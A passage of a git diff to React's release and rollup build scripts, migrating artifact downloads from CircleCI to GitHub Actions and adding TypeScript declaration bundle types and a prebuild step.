   } else {
-    console.error('Internal error: Invalid release channel: ' + releaseChannel);
-    process.exit(releaseChannel);
+    console.error(
+      'Internal error: Invalid release channel: ' + opts.releaseChannel
+    );
+    process.exit(opts.releaseChannel);
   }
-  await exec(`cp -r ./build/${sourceDir} ./build/node_modules`, {cwd});
-};
+  await exec(`cp -r ./build/${sourceDir} ./build/node_modules`, {
+    cwd,
+  });
 
-module.exports = async ({build, commit, cwd, releaseChannel}) => {
-  let buildLabel;
-  if (commit !== null) {
-    buildLabel = theme`commit {commit ${commit}} (build {build ${build}})`;
-  } else {
-    buildLabel = theme`build {build ${build}}`;
+  // Validate artifact
+  const buildSha = readFileSync('./build/COMMIT_SHA', 'utf8').replace(
+    /[\u0000-\u001F\u007F-\u009F]/g,
+    ''
+  );
+  if (buildSha !== opts.commit) {
+    throw new Error(
+      `Requested commit sha does not match downloaded artifact. Expected: ${opts.commit}, got: ${buildSha}`
+    );
+  }
+}
+
+async function downloadArtifactsFromGitHub(opts) {
+  let workflowRun;
+  let retries = 0;
+  // wait up to 10 mins for build to finish: 10 * 60 * 1_000) / 30_000 = 20
+  while (retries < 20) {
+    workflowRun = await getWorkflowRun(opts.commit);
+    if (typeof workflowRun.status === 'string') {
+      switch (workflowRun.status) {
+        case 'queued':
+        case 'in_progress':
+        case 'waiting': {
+          retries++;
+          console.log(theme`Build still in progress, waiting 30s...`);
+          await sleep(30_000);
+          break;
+        }
+        case 'completed': {
+          if (workflowRun.conclusion === 'success') {
+            const artifact = await getArtifact(
+              workflowRun.id,
+              'artifacts_combined'
+            );
+            await processArtifact(artifact, opts);
+            return;
+          } else {
+            console.log(
+              theme`{error Could not download build as its conclusion was: ${workflowRun.conclusion}}`
+            );
+            process.exit(1);
+          }
+          break;
+        }
+        default: {
+          console.log(
+            theme`{error Unhandled workflow run status: ${workflowRun.status}}`
+          );
+          process.exit(1);
+        }
+      }
+    } else {
+      retries++;
+      console.log(
+        theme`{error Expected workflow run status to be a string, got: ${workflowRun.status}. Retrying...}`
+      );
+    }
   }
+
+  console.log(
+    theme`{error Could not download build from GitHub. Last workflow run: }
+
+${workflowRun != null ? JSON.stringify(workflowRun, null, '\t') : workflowRun}`
+  );
+  process.exit(1);
+}
+
+async function downloadBuildArtifacts(opts) {
+  const label = theme`commit {commit ${opts.commit}})`;
   return logPromise(
-    run({build, cwd, releaseChannel}),
-    theme`Downloading artifacts from Circle CI for ${buildLabel}`
+    downloadArtifactsFromGitHub(opts),
+    theme`Downloading artifacts from GitHub for ${label}`
   );
+}
+
+module.exports = {
+  downloadBuildArtifacts,
 };
diff --git a/scripts/release/shared-commands/get-build-id-for-commit.js b/scripts/release/shared-commands/get-build-id-for-commit.js
deleted file mode 100644
index dc82bbb3f183..000000000000
--- a/scripts/release/shared-commands/get-build-id-for-commit.js
+++ /dev/null
@@ -1,75 +0,0 @@
-'use strict';
-
-const fetch = require('node-fetch');
-
-const POLLING_INTERVAL = 10 * 1000; // 10 seconds
-const RETRY_TIMEOUT = 4 * 60 * 1000; // 4 minutes
-
-function wait(ms) {
-  return new Promise(resolve => {
-    setTimeout(() => resolve(), ms);
-  });
-}
-
-function scrapeBuildIDFromStatus(status) {
-  return /\/facebook\/react\/([0-9]+)/.exec(status.target_url)[1];
-}
-
-async function getBuildIdForCommit(sha, allowBrokenCI = false) {
-  const retryLimit = Date.now() + RETRY_TIMEOUT;
-  retry: while (true) {
-    const statusesResponse = await fetch(
-      `https://api.github.com/repos/facebook/react/commits/${sha}/status?per_page=100`
-    );
-
-    if (!statusesResponse.ok) {
-      if (statusesResponse.status === 404) {
-        throw Error('Could not find commit for: ' + sha);
-      }
-      const {message, documentation_url} = await statusesResponse.json();
-      const msg = documentation_url
-        ? `${message}\n\t${documentation_url}`
-        : message;
-      throw Error(msg);
-    }
-
-    const {statuses, state} = await statusesResponse.json();
-    if (!allowBrokenCI && state === 'failure') {
-      throw new Error(`Base commit is broken: ${sha}`);
-    }
-    for (let i = 0; i < statuses.length; i++) {
-      const status = statuses[i];
-      if (status.context === `ci/circleci: process_artifacts_combined`) {
-        if (status.state === 'success') {
-          return scrapeBuildIDFromStatus(status);
-        }
-        if (status.state === 'failure') {
-          throw new Error(`Build job for commit failed: ${sha}`);
-        }
-        if (status.state === 'pending') {
-          if (Date.now() < retryLimit) {
-            await wait(POLLING_INTERVAL);
-            continue retry;
-          }
-          // GitHub's status API is super flaky. Sometimes it reports a job
-          // as "pending" even after it completes in CircleCI. If it's still
-          // pending when we time out, return the build ID anyway.
-          // TODO: The location of the retry loop is a bit weird. We should
-          // probably combine this function with the one that downloads the
-          // artifacts, and wrap the retry loop around the whole thing.
-          return scrapeBuildIDFromStatus(status);
-        }
-      }
-    }
-    if (state === 'pending') {
-      if (Date.now() < retryLimit) {
-        await wait(POLLING_INTERVAL);
-        continue retry;
-      }
-      throw new Error('Exceeded retry limit. Build job is still pending.');
-    }
-    throw new Error('Could not find build for commit: ' + sha);
-  }
-}
-
-module.exports = getBuildIdForCommit;
diff --git a/scripts/release/shared-commands/parse-params.js b/scripts/release/shared-commands/parse-params.js
index 6e3b7837091d..6f43ba074bd2 100644
--- a/scripts/release/shared-commands/parse-params.js
+++ b/scripts/release/shared-commands/parse-params.js
@@ -3,9 +3,7 @@
 'use strict';
 
 const commandLineArgs = require('command-line-args');
-const getBuildIdForCommit = require('./get-build-id-for-commit');
 const theme = require('../theme');
-const {logPromise} = require('../utils');
 
 const paramDefinitions = [
   {
@@ -59,22 +57,8 @@ module.exports = async () => {
     process.exit(1);
   }
 
-  if (params.build === null && params.commit === null) {
-    console.error(
-      theme.error`Either a --commit or --build param must be specified.`
-    );
-    process.exit(1);
-  }
-
-  try {
-    if (params.build === null) {
-      params.build = await logPromise(
-        getBuildIdForCommit(params.commit, params.allowBrokenCI),
-        theme`Getting build ID for commit "${params.commit}"`
-      );
-    }
-  } catch (error) {
-    console.error(theme.error(error));
+  if (params.commit === null) {
+    console.error(theme.error`A --commit param must be specified.`);
     process.exit(1);
   }
 
diff --git a/scripts/release/utils.js b/scripts/release/utils.js
index 2066ac2fe3a4..10b3a9e91b5b 100644
--- a/scripts/release/utils.js
+++ b/scripts/release/utils.js
@@ -5,7 +5,6 @@ const {createPatch} = require('diff');
 const {hashElement} = require('folder-hash');
 const {existsSync, readFileSync, writeFileSync} = require('fs');
 const {readJson, writeJson} = require('fs-extra');
-const fetch = require('node-fetch');
 const logUpdate = require('log-update');
 const {join} = require('path');
 const createLogger = require('progress-estimator');
@@ -58,17 +57,6 @@ const extractCommitFromVersionNumber = version => {
   return match[2];
 };
 
-const getArtifactsList = async buildID => {
-  const headers = {};
-  const {CIRCLE_CI_API_TOKEN} = process.env;
-  if (CIRCLE_CI_API_TOKEN != null) {
-    headers['Circle-Token'] = CIRCLE_CI_API_TOKEN;
-  }
-  const jobArtifactsURL = `https://circleci.com/api/v1.1/project/github/facebook/react/${buildID}/artifacts`;
-  const jobArtifacts = await fetch(jobArtifactsURL, {headers});
-  return jobArtifacts.json();
-};
-
 const getBuildInfo = async () => {
   const cwd = join(__dirname, '..', '..');
 
@@ -86,10 +74,6 @@ const getBuildInfo = async () => {
     ? `0.0.0-experimental-${commit}-${dateString}`
     : `0.0.0-${commit}-${dateString}`;
 
-  // Only available for Circle CI builds.
-  // https://circleci.com/docs/2.0/env-vars/
-  const buildNumber = process.env.CIRCLE_BUILD_NUM;
-
   // React version is stored explicitly, separately for DevTools support.
   // See updateVersionsForNext() below for more info.
   const packageJSON = await readJson(
@@ -99,7 +83,7 @@ const getBuildInfo = async () => {
     ? `${packageJSON.version}-experimental-${commit}-${dateString}`
     : `${packageJSON.version}-${commit}-${dateString}`;
 
-  return {branch, buildNumber, checksum, commit, reactVersion, version};
+  return {branch, checksum, commit, reactVersion, version};
 };
 
 const getChecksumForCurrentRevision = async cwd => {
@@ -275,7 +259,6 @@ module.exports = {
   addDefaultParamValue,
   confirm,
   execRead,
-  getArtifactsList,
   getBuildInfo,
   getChecksumForCurrentRevision,
   getCommitFromCurrentBuild,
diff --git a/scripts/release/yarn.lock b/scripts/release/yarn.lock
index 4a68f9ac5d22..e5bdb7e5972f 100644
--- a/scripts/release/yarn.lock
+++ b/scripts/release/yarn.lock
@@ -910,9 +910,9 @@ wrappy@1:
   integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
 
 ws@^6.1.0:
-  version "6.2.2"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-6.2.2.tgz#dd5cdbd57a9979916097652d78f1cc5faea0c32e"
-  integrity sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==
+  version "6.2.3"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-6.2.3.tgz#ccc96e4add5fd6fedbc491903075c85c5a11d9ee"
+  integrity sha512-jmTjYU0j60B+vHey6TfR3Z7RD61z/hmxBS3VMSGIrroOWXQEneK1zNuotOUrGyBHQj0yrpsLHPWtigEFd13ndA==
   dependencies:
     async-limiter "~1.0.0"
 
diff --git a/scripts/rollup/build-all-release-channels.js b/scripts/rollup/build-all-release-channels.js
index 5e8cd27cf5e4..95aef66a4f72 100644
--- a/scripts/rollup/build-all-release-channels.js
+++ b/scripts/rollup/build-all-release-channels.js
@@ -15,13 +15,13 @@ const {
   canaryChannelLabel,
   rcNumber,
 } = require('../../ReactVersions');
+const yargs = require('yargs');
+const Bundles = require('./bundles');
 
 // Runs the build script for both stable and experimental release channels,
 // by configuring an environment variable.
 
-const sha = String(
-  spawnSync('git', ['show', '-s', '--no-show-signature', '--format=%h']).stdout
-).trim();
+const sha = String(spawnSync('git', ['rev-parse', 'HEAD']).stdout).slice(0, 8);
 
 let dateString = String(
   spawnSync('git', [
@@ -53,47 +53,109 @@ fs.writeFileSync(
   `export default '${PLACEHOLDER_REACT_VERSION}';\n`
 );
 
-if (process.env.CIRCLE_NODE_TOTAL) {
-  // In CI, we use multiple concurrent processes. Allocate half the processes to
-  // build the stable channel, and the other half for experimental. Override
-  // the environment variables to "trick" the underlying build script.
-  const total = parseInt(process.env.CIRCLE_NODE_TOTAL, 10);
-  const halfTotal = Math.floor(total / 2);
-  const index = parseInt(process.env.CIRCLE_NODE_INDEX, 10);
-  if (index < halfTotal) {
-    const nodeTotal = halfTotal;
-    const nodeIndex = index;
-    buildForChannel('stable', nodeTotal, nodeIndex);
-    processStable('./build');
+const argv = yargs.wrap(yargs.terminalWidth()).options({
+  releaseChannel: {
+    alias: 'r',
+    describe: 'Build the given release channel.',
+    requiresArg: true,
+    type: 'string',
+    choices: ['experimental', 'stable'],
+  },
+  index: {
+    alias: 'i',
+    describe: 'Worker id.',
+    requiresArg: true,
+    type: 'number',
+  },
+  total: {
+    alias: 't',
+    describe: 'Total number of workers.',
+    requiresArg: true,
+    type: 'number',
+  },
+  ci: {
+    describe: 'Run tests in CI',
+    requiresArg: false,
+    type: 'boolean',
+    default: false,
+  },
+  type: {
+    describe: `Build the given bundle type. (${Object.values(
+      Bundles.bundleTypes
+    )})`,
+    requiresArg: false,
+    type: 'string',
+  },
+  pretty: {
+    describe: 'Force pretty output.',
+    requiresArg: false,
+    type: 'boolean',
+  },
+  'sync-fbsource': {
+    describe: 'Include to sync build to fbsource.',
+    requiresArg: false,
+    type: 'string',
+  },
+  'sync-www': {
+    describe: 'Include to sync build to www.',
+    requiresArg: false,
+    type: 'string',
+  },
+  'unsafe-partial': {
+    describe: 'Do not clean ./build first.',
+    requiresArg: false,
+    type: 'boolean',
+  },
+}).argv;
+
+async function main() {
+  if (argv.ci === true) {
+    buildForChannel(argv.releaseChannel, argv.total, argv.index);
+    switch (argv.releaseChannel) {
+      case 'stable': {
+        processStable('./build');
+        break;
+      }
+      case 'experimental': {
+        processExperimental('./build');
+        break;
+      }
+      default:
+        throw new Error(`Unknown release channel ${argv.releaseChannel}`);
+    }
   } else {
-    const nodeTotal = total - halfTotal;
-    const nodeIndex = index - halfTotal;
-    buildForChannel('experimental', nodeTotal, nodeIndex);
-    processExperimental('./build');
+    const releaseChannel = argv.releaseChannel;
+    if (releaseChannel === 'stable') {
+      buildForChannel('stable', '', '');
+      processStable('./build');
+    } else if (releaseChannel === 'experimental') {
+      buildForChannel('experimental', '', '');
+      processExperimental('./build');
+    } else {
+      // Running locally, no concurrency. Move each channel's build artifacts into
+      // a temporary directory so that they don't conflict.
+      buildForChannel('stable', '', '');
+      const stableDir = tmp.dirSync().name;
+      crossDeviceRenameSync('./build', stableDir);
+      processStable(stableDir);
+      buildForChannel('experimental', '', '');
+      const experimentalDir = tmp.dirSync().name;
+      crossDeviceRenameSync('./build', experimentalDir);
+      processExperimental(experimentalDir);
+
+      // Then merge the experimental folder into the stable one. processExperimental
+      // will have already removed conflicting files.
+      //
+      // In CI, merging is handled by the GitHub Download Artifacts plugin.
+      mergeDirsSync(experimentalDir + '/', stableDir + '/');
+
+      // Now restore the combined directory back to its original name
+      crossDeviceRenameSync(stableDir, './build');
+    }
   }
-} else {
-  // Running locally, no concurrency. Move each channel's build artifacts into
-  // a temporary directory so that they don't conflict.
-  buildForChannel('stable', '', '');
-  const stableDir = tmp.dirSync().name;
-  crossDeviceRenameSync('./build', stableDir);
-  processStable(stableDir);
-  buildForChannel('experimental', '', '');
-  const experimentalDir = tmp.dirSync().name;
-  crossDeviceRenameSync('./build', experimentalDir);
-  processExperimental(experimentalDir);
-
-  // Then merge the experimental folder into the stable one. processExperimental
-  // will have already removed conflicting files.
-  //
-  // In CI, merging is handled automatically by CircleCI's workspace feature.
-  mergeDirsSync(experimentalDir + '/', stableDir + '/');
-
-  // Now restore the combined directory back to its original name
-  crossDeviceRenameSync(stableDir, './build');
 }
 
-function buildForChannel(channel, nodeTotal, nodeIndex) {
+function buildForChannel(channel, total, index) {
   const {status} = spawnSync(
     'node',
     ['./scripts/rollup/build.js', ...process.argv.slice(2)],
@@ -102,8 +164,8 @@ function buildForChannel(channel, nodeTotal, nodeIndex) {
       env: {
         ...process.env,
         RELEASE_CHANNEL: channel,
-        CIRCLE_NODE_TOTAL: nodeTotal,
-        CIRCLE_NODE_INDEX: nodeIndex,
+        CI_TOTAL: total,
+        CI_INDEX: index,
       },
     }
   );
@@ -178,9 +240,16 @@ function processStable(buildDir) {
     }
 
     if (fs.existsSync(buildDir + '/react-native')) {
-      updatePlaceholderReactVersionInCompiledArtifactsFb(
+      updatePlaceholderReactVersionInCompiledArtifacts(
         buildDir + '/react-native',
-        rnVersionString
+        rnVersionString,
+        filename => filename.endsWith('.fb.js')
+      );
+
+      updatePlaceholderReactVersionInCompiledArtifacts(
+        buildDir + '/react-native',
+        ReactVersion,
+        filename => !filename.endsWith('.fb.js') && filename.endsWith('.js')
       );
     }
 
@@ -287,9 +356,16 @@ function processExperimental(buildDir, version) {
   }
 
   if (fs.existsSync(buildDir + '/react-native')) {
-    updatePlaceholderReactVersionInCompiledArtifactsFb(
+    updatePlaceholderReactVersionInCompiledArtifacts(
       buildDir + '/react-native',
-      rnVersionString
+      rnVersionString,
+      filename => filename.endsWith('.fb.js')
+    );
+
+    updatePlaceholderReactVersionInCompiledArtifacts(
+      buildDir + '/react-native',
+      ReactVersion,
+      filename => !filename.endsWith('.fb.js') && filename.endsWith('.js')
     );
   }
 
@@ -384,38 +460,15 @@ function updatePackageVersions(
 
 function updatePlaceholderReactVersionInCompiledArtifacts(
   artifactsDirectory,
-  newVersion
+  newVersion,
+  filteringClosure
 ) {
   // Update the version of React in the compiled artifacts by searching for
   // the placeholder string and replacing it with a new one.
-  const artifactFilenames = String(
-    spawnSync('grep', [
-      '-lr',
-      PLACEHOLDER_REACT_VERSION,
-      '--',
-      artifactsDirectory,
-    ]).stdout
-  )
-    .trim()
-    .split('\n')
-    .filter(filename => filename.endsWith('.js'));
-
-  for (const artifactFilename of artifactFilenames) {
-    const originalText = fs.readFileSync(artifactFilename, 'utf8');
-    const replacedText = originalText.replaceAll(
-      PLACEHOLDER_REACT_VERSION,
-      newVersion
-    );
-    fs.writeFileSync(artifactFilename, replacedText);
+  if (filteringClosure == null) {
+    filteringClosure = filename => filename.endsWith('.js');
   }
-}
 
-function updatePlaceholderReactVersionInCompiledArtifactsFb(
-  artifactsDirectory,
-  newVersion
-) {
-  // Update the version of React in the compiled artifacts by searching for
-  // the placeholder string and replacing it with a new one.
   const artifactFilenames = String(
     spawnSync('grep', [
       '-lr',
@@ -426,7 +479,7 @@ function updatePlaceholderReactVersionInCompiledArtifactsFb(
   )
     .trim()
     .split('\n')
-    .filter(filename => filename.endsWith('.fb.js'));
+    .filter(filteringClosure);
 
   for (const artifactFilename of artifactFilenames) {
     const originalText = fs.readFileSync(artifactFilename, 'utf8');
@@ -457,3 +510,5 @@ function mergeDirsSync(source, destination) {
     }
   }
 }
+
+main();
diff --git a/scripts/rollup/build.js b/scripts/rollup/build.js
index df9fb00b0942..087c2e6a43b9 100644
--- a/scripts/rollup/build.js
+++ b/scripts/rollup/build.js
@@ -4,12 +4,15 @@ const rollup = require('rollup');
 const babel = require('@rollup/plugin-babel').babel;
 const closure = require('./plugins/closure-plugin');
 const flowRemoveTypes = require('flow-remove-types');
+const {dts} = require('rollup-plugin-dts');
 const prettier = require('rollup-plugin-prettier');
 const replace = require('@rollup/plugin-replace');
+const typescript = require('@rollup/plugin-typescript');
 const stripBanner = require('rollup-plugin-strip-banner');
 const chalk = require('chalk');
 const resolve = require('@rollup/plugin-node-resolve').nodeResolve;
 const fs = require('fs');
+const childProcess = require('child_process');
 const argv = require('minimist')(process.argv.slice(2));
 const Modules = require('./modules');
 const Bundles = require('./bundles');
@@ -18,10 +21,12 @@ const Sync = require('./sync');
 const sizes = require('./plugins/sizes-plugin');
 const useForks = require('./plugins/use-forks-plugin');
 const dynamicImports = require('./plugins/dynamic-imports');
+const externalRuntime = require('./plugins/external-runtime-plugin');
 const Packaging = require('./packaging');
 const {asyncRimRaf} = require('./utils');
-const codeFrame = require('@babel/code-frame');
+const codeFrame = require('@babel/code-frame').default;
 const Wrappers = require('./wrappers');
+const commonjs = require('@rollup/plugin-commonjs');
 
 const RELEASE_CHANNEL = process.env.RELEASE_CHANNEL;
 
@@ -61,6 +66,8 @@ const {
   RN_FB_PROD,
   RN_FB_PROFILING,
   BROWSER_SCRIPT,
+  CJS_DTS,
+  ESM_DTS,
 } = Bundles.bundleTypes;
 
 const {getFilename} = Bundles;
@@ -84,11 +91,17 @@ function parseRequestedNames(names, toCase) {
   }
   return result;
 }
-
-const requestedBundleTypes = argv.type
-  ? parseRequestedNames([argv.type], 'uppercase')
-  : [];
-const requestedBundleNames = parseRequestedNames(argv._, 'lowercase');
+const argvType = Array.isArray(argv.type) ? argv.type : [argv.type];
+const requestedBundleTypes = parseRequestedNames(
+  argv.type ? argvType : [],
+  'uppercase'
+);
+
+const names = argv._;
+const requestedBundleNames = parseRequestedNames(
+  names ? names : [],
+  'lowercase'
+);
 const forcePrettyOutput = argv.pretty;
 const isWatchMode = argv.watch;
 const syncFBSourcePath = argv['sync-fbsource'];
@@ -131,12 +144,9 @@ function getBabelConfig(
   updateBabelOptions,
   bundleType,
   packageName,
-  externals,
   isDevelopment,
   bundle
 ) {
-  const canAccessReactObject =
-    packageName === 'react' || externals.indexOf('react') !== -1;
   let options = {
     exclude: '/**/node_modules/**',
     babelrc: false,
@@ -147,16 +157,7 @@ function getBabelConfig(
     sourcemap: false,
   };
   if (isDevelopment) {
-    options.plugins.push(
-      ...babelToES5Plugins,
-      // Turn console.error/warn() into a custom wrapper
-      [
-        require('../babel/transform-replace-console-calls'),
-        {
-          shouldError: !canAccessReactObject,
-        },
-      ]
-    );
+    options.plugins.push(...babelToES5Plugins);
   }
   if (updateBabelOptions) {
     options = updateBabelOptions(options);
@@ -238,9 +239,11 @@ function getFormat(bundleType) {
     case RN_FB_DEV:
     case RN_FB_PROD:
     case RN_FB_PROFILING:
+    case CJS_DTS:
       return `cjs`;
     case ESM_DEV:
     case ESM_PROD:
+    case ESM_DTS:
       return `es`;
     case BROWSER_SCRIPT:
       return `iife`;
@@ -269,6 +272,8 @@ function isProductionBundleType(bundleType) {
     case RN_FB_PROD:
     case RN_FB_PROFILING:
     case BROWSER_SCRIPT:
+    case CJS_DTS:
+    case ESM_DTS:
       return true;
     default:
       throw new Error(`Unknown type: ${bundleType}`);
@@ -291,6 +296,8 @@ function isProfilingBundleType(bundleType) {
     case ESM_DEV:
     case ESM_PROD:
     case BROWSER_SCRIPT:
+    case CJS_DTS:
+    case ESM_DTS:
       return false;
     case FB_WWW_PROFILING:
     case NODE_PROFILING:
@@ -346,7 +353,6 @@ function forbidFBJSImports() {
 
 function getPlugins(
   entry,
-  externals,
   updateBabelOptions,
   filename,
   packageName,
@@ -356,20 +362,31 @@ function getPlugins(
   pureExternalModules,
   bundle
 ) {
+  // Short-circuit if we're only building a .d.ts bundle
+  if (bundleType === CJS_DTS || bundleType === ESM_DTS) {
+    return [dts({tsconfig: bundle.tsconfig})];
+  }
   try {
     const forks = Modules.getForks(bundleType, entry, moduleType, bundle);
     const isProduction = isProductionBundleType(bundleType);
     const isProfiling = isProfilingBundleType(bundleType);
 
     const needsMinifiedByClosure =
-      bundleType !== ESM_PROD && bundleType !== ESM_DEV;
+      bundleType !== ESM_PROD &&
+      bundleType !== ESM_DEV &&
+      // TODO(@poteto) figure out ICE in closure compiler for eslint-plugin-react-hooks (ts)
+      bundle.tsconfig == null;
 
     return [
       // Keep dynamic imports as externals
       dynamicImports(),
+      bundle.tsconfig != null ? typescript({tsconfig: bundle.tsconfig}) : false,
       {
         name: 'rollup-plugin-flow-remove-types',
-        transform(code) {
+        transform(code, id) {
+          if (bundle.tsconfig != null && !id.endsWith('.js')) {
+            return null;
+          }
           const transformed = flowRemoveTypes(code);
           return {
             code: transformed.toString(),
@@ -377,13 +394,16 @@ function getPlugins(
           };
         },
       },
+      // See https://github.com/rollup/plugins/issues/1425
+      bundle.tsconfig != null ? commonjs({strictRequires: true}) : false,
       // Shim any modules that need forking in this environment.
       useForks(forks),
       // Ensure we don't try to bundle any fbjs modules.
       forbidFBJSImports(),
       // Use Node resolution mechanism.
       resolve({
-        // skip: externals, // TODO: options.skip was removed in @rollup/plugin-node-resolve 3.0.0
+        // `external` rollup config takes care of marking builtins as externals
+        preferBuiltins: false,
       }),
       // Remove license headers from individual modules
       stripBanner({
@@ -395,18 +415,21 @@ function getPlugins(
           updateBabelOptions,
           bundleType,
           packageName,
-          externals,
           !isProduction,
           bundle
         )
       ),
-      // Remove 'use strict' from individual source files.
-      {
-        name: "remove 'use strict'",
-        transform(source) {
-          return source.replace(/['"]use strict["']/g, '');
-        },
-      },
+      // Remove 'use strict' from individual source files. We skip eslint-plugin-react-hooks because
+      // it bundles compiler-type code that may examine "use strict" used outside of a directive
+      // context, e.g. as a StringLiteral.
+      bundle.name !== 'eslint-plugin-react-hooks'
+        ? {
+            name: "remove 'use strict'",
+            transform(source) {
+              return source.replace(/['"]use strict["']/g, '');
+            },
+          }
+        : false,
       // Turn __DEV__ and process.env checks into constants.
       replace({
         preventAssignment: true,
@@ -419,6 +442,8 @@ function getPlugins(
           __EXPERIMENTAL__,
         },
       }),
+      // For the external runtime we turn global identifiers into local.
+      entry.includes('server-external-runtime') && externalRuntime(),
       {
         name: 'top-level-definitions',
         renderChunk(source) {
@@ -428,7 +453,8 @@ function getPlugins(
             globalName,
             filename,
             moduleType,
-            bundle.wrapWithModuleBoundaries
+            bundle.wrapWithModuleBoundaries,
+            bundle.wrapWithNodeDevGuard
           );
         },
       },
@@ -451,8 +477,8 @@ function getPlugins(
             bundleType === NODE_ES2015
               ? 'ECMASCRIPT_2020'
               : bundleType === BROWSER_SCRIPT
-              ? 'ECMASCRIPT5'
-              : 'ECMASCRIPT5_STRICT',
+                ? 'ECMASCRIPT5'
+                : 'ECMASCRIPT5_STRICT',
           emit_use_strict:
             bundleType !== BROWSER_SCRIPT &&
             bundleType !== ESM_PROD &&
@@ -528,10 +554,10 @@ function shouldSkipBundle(bundle, bundleType) {
     return true;
   }
   if (requestedBundleTypes.length > 0) {
-    const isAskingForDifferentType = requestedBundleTypes.every(
-      requestedType => bundleType.indexOf(requestedType) === -1
+    const hasRequestedBundleType = requestedBundleTypes.some(requestedType =>
+      bundleType.includes(requestedType)
     );
-    if (isAskingForDifferentType) {
+    if (!hasRequestedBundleType) {
       return true;
     }
   }
@@ -559,7 +585,7 @@ function shouldSkipBundle(bundle, bundleType) {
   return false;
 }
 
-function resolveEntryFork(resolvedEntry, isFBBundle) {
+function resolveEntryFork(resolvedEntry, isFBBundle, isDev) {
   // Pick which entry point fork to use:
   // .modern.fb.js
   // .classic.fb.js
@@ -567,16 +593,28 @@ function resolveEntryFork(resolvedEntry, isFBBundle) {
   // .stable.js
   // .experimental.js
   // .js
+  // or any of those plus .development.js
 
   if (isFBBundle) {
     const resolvedFBEntry = resolvedEntry.replace(
       '.js',
       __EXPERIMENTAL__ ? '.modern.fb.js' : '.classic.fb.js'
     );
+    const devFBEntry = resolvedFBEntry.replace('.js', '.development.js');
+    if (isDev && fs.existsSync(devFBEntry)) {
+      return devFBEntry;
+    }
     if (fs.existsSync(resolvedFBEntry)) {
       return resolvedFBEntry;
     }
     const resolvedGenericFBEntry = resolvedEntry.replace('.js', '.fb.js');
+    const devGenericFBEntry = resolvedGenericFBEntry.replace(
+      '.js',
+      '.development.js'
+    );
+    if (isDev && fs.existsSync(devGenericFBEntry)) {
+      return devGenericFBEntry;
+    }
     if (fs.existsSync(resolvedGenericFBEntry)) {
       return resolvedGenericFBEntry;
     }
@@ -586,6 +624,10 @@ function resolveEntryFork(resolvedEntry, isFBBundle) {
     '.js',
     __EXPERIMENTAL__ ? '.experimental.js' : '.stable.js'
   );
+  const devForkedEntry = resolvedForkedEntry.replace('.js', '.development.js');
+  if (isDev && fs.existsSync(devForkedEntry)) {
+    return devForkedEntry;
+  }
   if (fs.existsSync(resolvedForkedEntry)) {
     return resolvedForkedEntry;
   }
@@ -602,9 +644,10 @@ async function createBundle(bundle, bundleType) {
 
   const {isFBWWWBundle, isFBRNBundle} = getBundleTypeFlags(bundleType);
 
-  let resolvedEntry = resolveEntryFork(
+  const resolvedEntry = resolveEntryFork(
     require.resolve(bundle.entry),
-    isFBWWWBundle || isFBRNBundle
+    isFBWWWBundle || isFBRNBundle,
+    !isProductionBundleType(bundleType)
   );
 
   const peerGlobals = Modules.getPeerGlobals(bundle.externals, bundleType);
@@ -647,7 +690,6 @@ async function createBundle(bundle, bundleType) {
     onwarn: handleRollupWarning,
     plugins: getPlugins(
       bundle.entry,
-      externals,
       bundle.babel,
       filename,
       packageName,
@@ -781,6 +823,11 @@ function handleRollupError(error) {
   }
 }
 
+function runShellCommand(command) {
+  console.log(chalk.dim('Running: ') + chalk.cyan(command));
+  childProcess.execSync(command, {stdio: 'inherit', shell: true});
+}
+
 async function buildEverything() {
   if (!argv['unsafe-partial']) {
     await asyncRimRaf('build');
@@ -810,7 +857,9 @@ async function buildEverything() {
       [bundle, RN_FB_DEV],
       [bundle, RN_FB_PROD],
       [bundle, RN_FB_PROFILING],
-      [bundle, BROWSER_SCRIPT]
+      [bundle, BROWSER_SCRIPT],
+      [bundle, CJS_DTS],
+      [bundle, ESM_DTS]
     );
   }
 
@@ -818,15 +867,17 @@ async function buildEverything() {
     return !shouldSkipBundle(bundle, bundleType);
   });
 
-  if (process.env.CIRCLE_NODE_TOTAL) {
-    // In CI, parallelize bundles across multiple tasks.
-    const nodeTotal = parseInt(process.env.CIRCLE_NODE_TOTAL, 10);
-    const nodeIndex = parseInt(process.env.CIRCLE_NODE_INDEX, 10);
+  if (process.env.CI_TOTAL && process.env.CI_INDEX) {
+    const nodeTotal = parseInt(process.env.CI_TOTAL, 10);
+    const nodeIndex = parseInt(process.env.CI_INDEX, 10);
     bundles = bundles.filter((_, i) => i % nodeTotal === nodeIndex);
   }
 
   // eslint-disable-next-line no-for-of-loops/no-for-of-loops
   for (const [bundle, bundleType] of bundles) {
+    if (bundle.prebuild) {
+      runShellCommand(bundle.prebuild);
+    }
     await createBundle(bundle, bundleType);
   }
 
diff --git a/scripts/rollup/bundles.js b/scripts/rollup/bundles.js
index 66e59124ca2d..7b9508b9e29c 100644
--- a/scripts/rollup/bundles.js
+++ b/scripts/rollup/bundles.js
@@ -26,6 +26,8 @@ const bundleTypes = {
   RN_FB_PROD: 'RN_FB_PROD',
   RN_FB_PROFILING: 'RN_FB_PROFILING',
   BROWSER_SCRIPT: 'BROWSER_SCRIPT',
+  CJS_DTS: 'CJS_DTS',
+  ESM_DTS: 'ESM_DTS',
 };
 
 const {
@@ -47,6 +49,8 @@ const {
   RN_FB_PROD,
   RN_FB_PROFILING,
   BROWSER_SCRIPT,
+  CJS_DTS,
+  ESM_DTS,
 } = bundleTypes;
 
 const moduleTypes = {
@@ -183,6 +187,7 @@ const bundles = [
     wrapWithModuleBoundaries: true,
     externals: ['react'],
   },
+
   /******* React DOM Client *******/
   {
     bundleTypes: [NODE_DEV, NODE_PROD],
@@ -204,7 +209,8 @@ const bundles = [
     wrapWithModuleBoundaries: true,
     externals: ['react', 'react-dom'],
   },
-  /******* React DOM FB *******/
+
+  /******* React DOM (www) *******/
   {
     bundleTypes: [FB_WWW_DEV, FB_WWW_PROD, FB_WWW_PROFILING],
     moduleType: RENDERER,
@@ -215,6 +221,50 @@ const bundles = [
     externals: ['react'],
   },
 
+  /******* React DOM (fbsource) *******/
+  {
+    bundleTypes: [RN_FB_DEV, RN_FB_PROD, RN_FB_PROFILING],
+    moduleType: RENDERER,
+    entry: 'react-dom',
+    global: 'ReactDOM',
+    minifyWithProdErrorCodes: true,
